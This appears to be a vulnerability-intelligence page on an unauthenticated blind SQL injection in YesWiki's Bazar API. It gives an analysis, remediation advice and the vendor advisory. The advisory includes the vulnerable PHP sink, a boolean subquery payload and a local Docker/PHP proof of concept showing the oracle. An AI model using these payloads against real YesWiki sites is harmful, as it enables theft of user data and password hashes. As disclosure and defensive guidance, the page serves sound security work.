YesWiki CVE-2026-52770
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessReach public Bazar API endpoint
-
DeliverySupply numeric query filter with boolean subquery
-
ExploitInjected SQL evaluated in CAST expression
-
ExecutionObserve returned vs empty entries
-
PersistIterate oracle to extract data
-
ImpactRecover credentials or hashes
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Parameterized queries, prepared statements
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Persistence The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that the target YesWiki instance expose the public Bazar API routes (the 'acl:public' endpoints /api/forms/{formId}/entries/{output}/{selectedEntries}, /api/entries/{output}/{selectedEntries}, or /api/entries/bazarlist) and that at least one Bazar form defines a numeric-structured field - a 'number', 'range', or map latitude/longitude field - since the injectable sink only triggers for descriptors whose _type_ is 'number'. Given those default/common conditions, no authentication and no user interaction are needed (PR:N/UI:N), matching an unauthenticated network attacker. The main limiting factor is that a site with no numeric Bazar fields, or one that has disabled/ACL-restricted the public Bazar API, has no exploitable sink; exploitation is also blind (boolean-only), so an attacker infers data one condition at a time rather than dumping it directly. |
| Impact | This is a genuine, actionable risk rather than an inflated high-CVSS finding: the supplied CVSS 3.1 vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N describes network-reachable, low-complexity, unauthenticated exploitation, which is consistent with the description's public 'acl:public' routes and the working PoC. Confidentiality impact is High while integrity and availability are None, matching a read-oriented boolean oracle that infers data rather than modifying it. A functional PoC is publicly available (publicly available exploit code exists), which materially raises practical exploitability, but there is no CISA KEV listing and no EPSS score in the provided data, so there is no evidence of active in-the-wild exploitation - treat exploitation likelihood as elevated by public PoC but unquantified. One caveat: extraction is blind/boolean and therefore slow and noisy in logs, so raw C:H somewhat overstates the effort-adjusted impact for large datasets; it remains fully sufficient to extract credentials or hashes given time. No SSVC or EPSS signals were provided; risk is inferred from CVSS plus the published PoC. |
| Exploit ScenarioDerived | An unauthenticated attacker sends GET requests to a public Bazar endpoint such as /api/entries/bazarlist with a numeric filter like query=bf_age>100 OR (SELECT COUNT(*) FROM yeswiki_users)>0, observing whether entries are returned to answer a true/false question about the database. By iterating character-by-character conditions against sensitive columns, they extract user account data and password hashes without any credentials or user interaction, consistent with the low-complexity network attack vector. A working proof-of-concept demonstrating the boolean oracle is published in the advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 09, 2026
Boolean-based blind SQL injection in YesWiki's public Bazar entry-listing API allows unauthenticated attackers to read arbitrary database contents by abusing numeric query/queries filters. Because numeric field values are escaped with mysqli_real_escape_string but inserted into the SQL statement without quotes or numeric validation, injected boolean expressions (e.g. '100 OR (SELECT COUNT(*) FROM yeswiki_users)>0') are evaluated by the database, turning the public endpoints into a data-exfiltration oracle. A detailed, self-contained proof-of-concept is published in the advisory; a vendor patch (commit f3b0dd0) is available, though the issue is not listed in CISA KEV.
RemediationAI
Apply the vendor fix: upgrade YesWiki to a release that includes commit f3b0dd093a7ace47dc29a515faeb02635baceae2 (Upstream fix available via commit; a specific tagged patched release version is not stated in the provided data, so confirm the exact fixed release against advisory GHSA-qg78-vmvc-fhjw before deploying). Until the patch is applied, compensating controls include restricting or authenticating access to the public Bazar API routes (/api/forms/{formId}/entries/..., /api/entries/... and /api/entries/bazarlist) at the web server or reverse-proxy layer - noting this will break any legitimate anonymous consumers of those endpoints; and deploying a WAF rule to block query/queries parameter values containing SQL keywords or subquery patterns such as SELECT, UNION, or parenthesized boolean expressions, accepting that pattern-based rules can be bypassed and may block valid numeric range filters. As a defense-in-depth measure, ensure the database account used by YesWiki has least-privilege, read-scoped access so injected subqueries cannot reach unrelated tables. Reference: https://github.com/YesWiki/yeswiki/security/advisories/GHSA-qg78-vmvc-fhjw and the patch commit at https://github.com/YesWiki/yeswiki/commit/f3b0dd093a7ace47dc29a515faeb02635baceae2.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in composer
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
YesWiki is a PHP wiki/CMS whose Bazar module provides structured, form-based content ('fiches') queryable through public REST-style endpoints. The flaw is a classic CWE-89 SQL Injection rooted in improper neutralization of a numeric field: in SearchManager::buildQueriesConditions(), fields with _type_ 'number' build the fragment CAST(field AS DOUBLE) <op> <value>, where <value> is passed only through mysqli_real_escape_string(). That routine neutralizes string-context metacharacters (quotes, backslashes) but does nothing for a value used in an unquoted numeric context, so SQL keywords like OR and parenthesized subqueries pass through intact. The attacker-controlled input originates from the GET 'query'/'queries' parameters read in ApiController.php and flows through BazarListService::getEntries() into SearchManager::search(). Read-ACL filtering and Bazar Guard post-processing run only after the database has already evaluated the injected predicate, so they provide no protection. Affected package per CPE is pkg:composer/yeswiki_yeswiki. Numeric filters (fields of type number, range, and map latitude/longitude) are documented, common features, widening the injectable surface.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Public unauthenticated API with low-complexity injection gives AV:N/AC:L/PR:N/UI:N; a read-only boolean oracle yields C:H with no data modification or outage, so I:N/A:N.
Primary rating from Vendor (https://github.com/YesWiki/yeswiki).
CVSS VectorVendor: https://github.com/YesWiki/yeswiki
DescriptionCVE.org
Summary
YesWiki’s public Bazar entry-listing APIs are vulnerable to unauthenticated SQL injection in numeric query / queries filters.
For Bazar fields whose value structure is numeric, YesWiki escapes the attacker-controlled filter value but inserts it into SQL without quotes or numeric validation. An unauthenticated attacker can inject boolean SQL expressions and infer database contents from whether entries are returned.
Details
The public Bazar API reads attacker-controlled query filters from GET parameters:
// tools/bazar/controllers/ApiController.php
$vQuery = $_GET['query'] ?? $_GET['queries'] ?? null;
$vQuery = $vSearchManager->aggregateQueries(
!empty($selectedEntries) ? ['queries' => ['id_fiche' => $selectedEntries]] : [],
isset($vQuery) ? urldecode($vQuery) : ''
);Relevant public routes include:
@Route("/api/forms/{formId}/entries/{output}/{selectedEntries}", methods={"GET"}, options={"acl":{"public"}})
@Route("/api/entries/{output}/{selectedEntries}", methods={"GET"}, options={"acl":{"public"}})
@Route("/api/entries/bazarlist", methods={"GET"}, options={"acl":{"public"}})The query is passed into BazarListService::getEntries() and then into SearchManager::search():
// tools/bazar/services/BazarListService.php
$vLocalEntries = $vSearchManager->search(
array_merge(
$pOptions,
[
'formsIds' => $vLocalIDs,
]
),
true,
true
);The vulnerable sink is in SearchManager::buildQueriesConditions():
// tools/bazar/services/SearchManager.php
if ($vDescriptor['_type_'] == 'number') {
if (isset($vValue) && trim($vValue) !== '') {
$vValueConditions[] = 'CAST(' . mysqli_real_escape_string($this->wiki->dblink, $this->renameJSONPathVariable($vFieldName)) . ' AS DOUBLE) ' . $vComparisonOperator . ' ' . mysqli_real_escape_string($this->wiki->dblink, $vValue);
}
}Because numeric values are not quoted, SQL syntax remains active after escaping. For example, the following value is accepted as part of the numeric expression:
100 OR (SELECT COUNT(*) FROM yeswiki_users)>0This produces a predicate equivalent to:
CAST(bf_age AS DOUBLE) > 100 OR (SELECT COUNT(*) FROM yeswiki_users)>0Read ACL filtering and Bazar Guard processing do not prevent exploitation because the injected SQL expression is evaluated by the database before returned rows are post-processed.
Numeric Bazar filters are a documented/common feature. The documentation includes examples such as:
query="bf_age>18"
query="bf_age >= 20 | bf_age < 40"Bazar numeric fields are also common through field types such as number, range, and map latitude/longitude fields.
PoC
The following local-only PoC uses the shipped SearchManager code with a minimal MariaDB fixture. It demonstrates that a true injected boolean subquery changes the returned entries, while a false subquery does not.
Run from the repository root:
set -euo pipefail; name="yeswiki-audit-db-$$"; docker run -d --rm --name "$name" -e MARIADB_ROOT_PASSWORD=auditpass -e MARIADB_ROOT_HOST='%' -e MARIADB_DATABASE=yeswiki mariadb:11.4 >/dev/null; trap 'docker rm -f "$name" >/dev/null 2>&1 || true' EXIT; until docker exec "$name" mariadb-admin ping -h127.0.0.1 -uroot -pauditpass --silent >/dev/null 2>&1; do sleep 1; done; docker run --rm -i --network "container:$name" -v "$PWD:/repo:ro" --entrypoint php phpmyadmin:5.2.1 -d error_reporting=E_ERROR -d display_errors=1 <<'PHP'
<?php
namespace YesWiki\Bazar\Service {
class EntryManager { public const TRIPLES_ENTRY_ID = 'yeswiki-entry'; }
class FormManager { public function getMany($ids) { return [1 => ['prepared' => [new \DummyNumberField()]]]; } }
}
namespace {
class DummyNumberField {
public function getPropertyName() { return 'bf_age'; }
public function getValueStructure() { return ['bf_age' => ['_mode_' => 'single', '_type_' => 'number']]; }
}
class DummyServices {
public function get($class) {
if ($class === 'YesWiki\\Bazar\\Service\\FormManager') { return new \YesWiki\Bazar\Service\FormManager(); }
if ($class === 'YesWiki\\Bazar\\Service\\EntryManager') { return new \YesWiki\Bazar\Service\EntryManager(); }
throw new \RuntimeException('Unexpected service: ' . $class);
}
}
class DummyWiki {
public $dblink;
public $services;
public function __construct($dblink) { $this->dblink = $dblink; $this->services = new DummyServices(); }
public function GetConfigValue($name, $default = null) { return $name === 'min_search_keyword_length' ? 3 : $default; }
public function UserIsAdmin() { return false; }
public function getUserName() { return 'Anonymous'; }
}
class DummyDbService {
public function getCollation(): string { return 'utf8mb4_unicode_ci'; }
public function prefixTable($tableName) { return ' yeswiki_' . $tableName . ' '; }
}
class DummyAclService { public function updateRequestWithACL() { return '1=1'; } }
require '/repo/tools/bazar/services/SearchManager.php';
$db = mysqli_connect('127.0.0.1', 'root', 'auditpass', 'yeswiki');
if (!$db) { throw new \RuntimeException(mysqli_connect_error()); }
mysqli_set_charset($db, 'utf8mb4');
foreach ([
"CREATE TABLE yeswiki_pages (id INT PRIMARY KEY AUTO_INCREMENT, tag VARCHAR(64), time DATETIME DEFAULT CURRENT_TIMESTAMP, user VARCHAR(64), owner VARCHAR(64), latest CHAR(1), comment_on VARCHAR(64), body JSON)",
"CREATE TABLE yeswiki_triples (resource VARCHAR(64), value VARCHAR(64), property VARCHAR(128))",
"CREATE TABLE yeswiki_users (name VARCHAR(64), password VARCHAR(256), email VARCHAR(191))",
"INSERT INTO yeswiki_users VALUES ('admin', 'dummy_hash_marker', 'secret@example.test')",
"INSERT INTO yeswiki_pages (tag,user,owner,latest,comment_on,body) VALUES ('EntryA','alice','alice','Y','',JSON_OBJECT('id_typeannonce','1','id_fiche','EntryA','bf_age','10')), ('EntryB','bob','bob','Y','',JSON_OBJECT('id_typeannonce','1','id_fiche','EntryB','bf_age','20'))",
"INSERT INTO yeswiki_triples VALUES ('EntryA','yeswiki-entry','http://outils-reseaux.org/_vocabulary/type'), ('EntryB','yeswiki-entry','http://outils-reseaux.org/_vocabulary/type')",
] as $sql) {
if (!mysqli_query($db, $sql)) { throw new \RuntimeException(mysqli_error($db) . " in " . $sql); }
}
$ref = new \ReflectionClass(\YesWiki\Bazar\Service\SearchManager::class);
$sm = $ref->newInstanceWithoutConstructor();
foreach (['wiki' => new DummyWiki($db), 'dbService' => new DummyDbService(), 'aclService' => new DummyAclService()] as $prop => $value) {
$rp = $ref->getProperty($prop);
$rp->setAccessible(true);
$rp->setValue($sm, $value);
}
$cases = [
'control_no_match' => 'bf_age>100',
'boolean_true_subquery' => 'bf_age>100 OR (SELECT COUNT(*) FROM yeswiki_users)>0',
'boolean_false_subquery' => 'bf_age>100 OR (SELECT COUNT(*) FROM yeswiki_users WHERE 0)>0',
];
foreach ($cases as $label => $query) {
$params = ['queries' => $query, 'formsIds' => [1]];
$sql = $sm->prepareSearchRequest($params, true, false);
$result = mysqli_query($db, $sql);
if (!$result) { throw new \RuntimeException(mysqli_error($db) . " in " . $sql); }
$tags = [];
while ($row = mysqli_fetch_assoc($result)) { $tags[] = $row['tag']; }
sort($tags);
printf("%s: %d rows [%s]\n", $label, count($tags), implode(',', $tags));
if ($label === 'boolean_true_subquery') {
echo "where_fragment=" . preg_replace('/^.* WHERE /s', '', $sql) . "\n";
}
}
}
PHPExpected vulnerable output:
control_no_match: 0 rows []
boolean_true_subquery: 2 rows [EntryA,EntryB]
where_fragment=((CAST(bf_age AS DOUBLE) > 100 OR (SELECT COUNT(*) FROM yeswiki_users)>0)) AND 1=1
boolean_false_subquery: 0 rows []The no-match control returns no rows. The false injected subquery also returns no rows. The true injected subquery returns rows, proving that attacker-controlled SQL is evaluated inside the numeric filter.
Impact
This is an unauthenticated SQL injection vulnerability.
An attacker can use public Bazar API endpoints as a boolean oracle to infer data accessible to the YesWiki database user. This may include user account data, password hashes, password recovery material, private wiki metadata, or other sensitive database contents.
Executive ViewAI
YesWiki's public Bazar API contains an unauthenticated SQL injection vulnerability that allows remote attackers to extract arbitrary database contents without credentials. Any organization exposing YesWiki to the internet faces immediate risk of sensitive data exfiltration through publicly accessible API endpoints.
Apply vendor patch. If patching is delayed beyond 7 days, implement network-level restrictions (firewall rules or reverse-proxy policies) to block unauthenticated access to the public Bazar API endpoints until patched.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
SQL injection exploits the way applications construct database queries by mixing user input directly into SQL statements.
Affected Products (CPE)CVE.org
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
GHSA-qg78-vmvc-fhjw
NVD
CVE.org
EPSS
Exploit-DB